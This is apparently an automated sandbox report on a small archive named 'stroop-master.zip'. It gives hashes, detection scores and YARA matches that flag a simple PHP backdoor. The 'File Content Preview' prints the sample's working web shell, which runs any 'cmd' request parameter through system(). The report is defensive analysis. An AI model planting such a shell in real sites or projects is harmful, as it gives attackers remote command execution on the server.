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Windows
Analysis Report
stroop-master.zip
Overview
General Information
| Sample name: | stroop-master.zip |
| Analysis ID: | 1430585 |
| MD5: | 5127dd7dec482d81ea1d10be3d7c31d1 |
| SHA1: | 11c57fe7eee4518cce026962ee42aedfd4b4fc03 |
| SHA256: | b31580e55640ffde6967ba13303b4207bb49242dba5168e695a530ce26a032ff |
| Infos: |  |
 | |
Errors
| |
Detection
| Score: | 56 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara signature match
Classification
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| webshell_simple_backdoor | Web Shell - file simple-backdoor.php | Florian Roth |
| |
| WebShell_Simple_PHP_backdoor_by_DK | PHP Webshells Github Archive - file Simple_PHP_backdoor_by_DK.php | Florian Roth |
|
⊘No Sigma rule has matched
⊘No Snort rule has matched
Click to jump to signature section
Show All Signature Results
AV Detection |   |
|---|
| Source: | ReversingLabs: | ||
System Summary | |
|---|
| Source: | Matched rule: | ||
| Source: | Matched rule: | ||
| Source: | Matched rule: | ||
| Source: | Matched rule: | ||
| Source: | Classification label: | ||
| Source: | ReversingLabs: | ||
⊘No Mitre Att&ck techniques found
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
InternetThis section contains all screenshots as thumbnails, including those not shown in the slideshow.
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 32% | ReversingLabs | Script-PHP.Backdoor.Yorcirekrikseng |
⊘No Antivirus matches
⊘No Antivirus matches
⊘No Antivirus matches
⊘No Antivirus matches
| Joe Sandbox version: | 40.0.0 Tourmaline |
| Analysis ID: | 1430585 |
| Start date and time: | 2024-04-23 22:48:08 +02:00 |
| Joe Sandbox product: | CloudBasic |
| Overall analysis duration: | 0h 2m 10s |
| Hypervisor based Inspection enabled: | false |
| Report type: | full |
| Cookbook file name: | defaultwindowsinteractivecookbook.jbs |
| Analysis system description: | Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01 |
| Number of analysed new started processes analysed: | 11 |
| Number of new started drivers analysed: | 0 |
| Number of existing processes analysed: | 0 |
| Number of existing drivers analysed: | 0 |
| Number of injected processes analysed: | 0 |
| Technologies: |
|
| Analysis Mode: | default |
| Analysis stop reason: | Timeout |
| Sample name: | stroop-master.zip |
| Detection: | MAL |
| Classification: | mal56.winZIP@0/0@0/0 |
| Cookbook Comments: |
|
- No process behavior to analyse as no analysis process or sample was found
- Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, svchost.exe
- Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
- VT rate limit hit for: stroop-master.zip
⊘No simulations
⊘No created / dropped files found
| File type: | |
| Entropy (8bit): | 4.449015511855094 |
| TrID: | |
| File name: | stroop-master.zip |
| File size: | 170 bytes |
| MD5: | 5127dd7dec482d81ea1d10be3d7c31d1 |
| SHA1: | 11c57fe7eee4518cce026962ee42aedfd4b4fc03 |
| SHA256: | b31580e55640ffde6967ba13303b4207bb49242dba5168e695a530ce26a032ff |
| SHA512: | 5996b9d9e8c3a08392297d70de860d60ffdf20a39d8eb3108d0da74e1424a9baa7937abf04638b061e46256911abfec33f1a106c12c7ccf7df499e1f72951533 |
| SSDEEP: | 3:ZoUogv9G87MAdFFFBe5VX+Xv/FBiFQ29G87M36mITBMeWFZe5KVDov/TTv:WU9vk1OFB2+X7kk1U1W3z8X |
| TLSH: | CFC04CA23A4E911562748475424D2814E445414F54209B1574DEA061AF3B0BBA5F89BC |
| File Content Preview: | <?php....if(isset($_REQUEST['cmd'])){.. echo "<pre>";.. $cmd = ($_REQUEST['cmd']);.. system($cmd);.. echo "</pre>";.. die;..}....?>.... |
 | |
| Icon Hash: | 1c1c1e4e4ececedc |
Key Decision
Richest Path
Thread / callback creation
Lower opacity -> Library Node⊘No network behavior found
⊘No statistics
⊘No system behavior
⊘No disassembly